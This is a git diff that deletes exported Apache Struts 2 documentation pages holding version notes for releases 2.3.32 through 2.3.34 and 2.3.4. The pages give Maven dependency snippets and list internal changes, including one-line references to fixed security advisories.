-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=68717261">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=68717261">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=68717261">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=68717261">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.32 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emot [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.32&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.3.32-InternalChanges">Internal Changes</h2><ul><li><p><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)">&#160;Possible Remote Code Execution when performing file upload based on Jakarta plugin&#160;<a shape="rect" href="s2-045.html">S2-045</a></p></li></ul><p>&#160;</p><div class="conflue [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-2333.html b/content/docs/version-notes-2333.html
deleted file mode 100644
index 7eca162..0000000
--- a/content/docs/version-notes-2333.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.33</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-2333.html">Version Notes 2.3.33</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.33</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=71013971">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=71013971">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=71013971">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=71013971">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=71013971">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=71013971">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5997/6f42626d00e36f53fe51440403446ca61552e2a2.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.33 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5997/6f42626d00e36f53fe51440403446ca61552e2a2.1/_/images/icons/emoticons/check.png" data-emot [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.33&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.3.33-InternalChanges">Internal Changes</h2><ul><li><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5997/6f42626d00e36f53fe51440403446ca61552e2a2.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)">&#160;Possible RCE in the Struts Showcase app in the Struts 1 plugin example in Struts 2.3.x series, see&#160;<a shape="rect" href="s2-048.html">S2-048</a></li><li><img class="emoticon emo [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-2334.html b/content/docs/version-notes-2334.html
deleted file mode 100644
index aaff8da..0000000
--- a/content/docs/version-notes-2334.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.34</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-2334.html">Version Notes 2.3.34</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.34</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=73636531">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=73636531">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=73636531">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=73636531">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=73636531">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=73636531">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5997/6f42626d00e36f53fe51440403446ca61552e2a2.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.34 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5997/6f42626d00e36f53fe51440403446ca61552e2a2.1/_/images/icons/emoticons/check.png" data-emot [...]
-<pre class="brush: bash; gutter: false; theme: Confluence" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.34&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: text; gutter: false; theme: Confluence" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: bash; gutter: false; theme: Confluence" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.3.34-InternalChanges">Internal Changes</h2><ul><li><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5997/6f42626d00e36f53fe51440403446ca61552e2a2.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)">&#160;A regular expression Denial of Service when using URLValidator (similar to S2-044 &amp; S2-047), see&#160;<a shape="rect" href="s2-050.html">S2-050</a></li><li><img class="emoticon e [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-234.html b/content/docs/version-notes-234.html
deleted file mode 100644
index 74cce3c..0000000
--- a/content/docs/version-notes-234.html
+++ /dev/null
@@ -1,202 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.4</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-234.html">Version Notes 2.3.4</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.4</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27846726">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27846726">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27846726">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27846726">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27846726">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27846726">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.4 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="version-notes-233.html">Version Notes 2.3.3</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-2-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.4&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<p>You can also use Struts Archetype Catalog like below</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: plain; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/2.3.4/
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="VersionNotes2.3.4-InternalChanges">Internal Changes</h2>
-
-<ul><li>Solved problem with deploying Struts 2 based application to JBoss 7.1 and JBoss 5.x</li><li>Added back support for Struts 2 Portlet based application to allow run them as a normal web application or as a portlet</li></ul>
-
-
-<h3 id="VersionNotes2.3.4-IssueDetail">Issue Detail</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311041&amp;version=12320768">JIRA Release Notes 2.3.4</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.4-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/IssueNavigator.jspa?requestId=12320509">Struts 2.3.4 DONE</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/IssueNavigator.jspa?mode=hide&amp;requestId=12318399">Struts 2.3.x TODO</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.4-Otherresources">Other resources</h3>
-
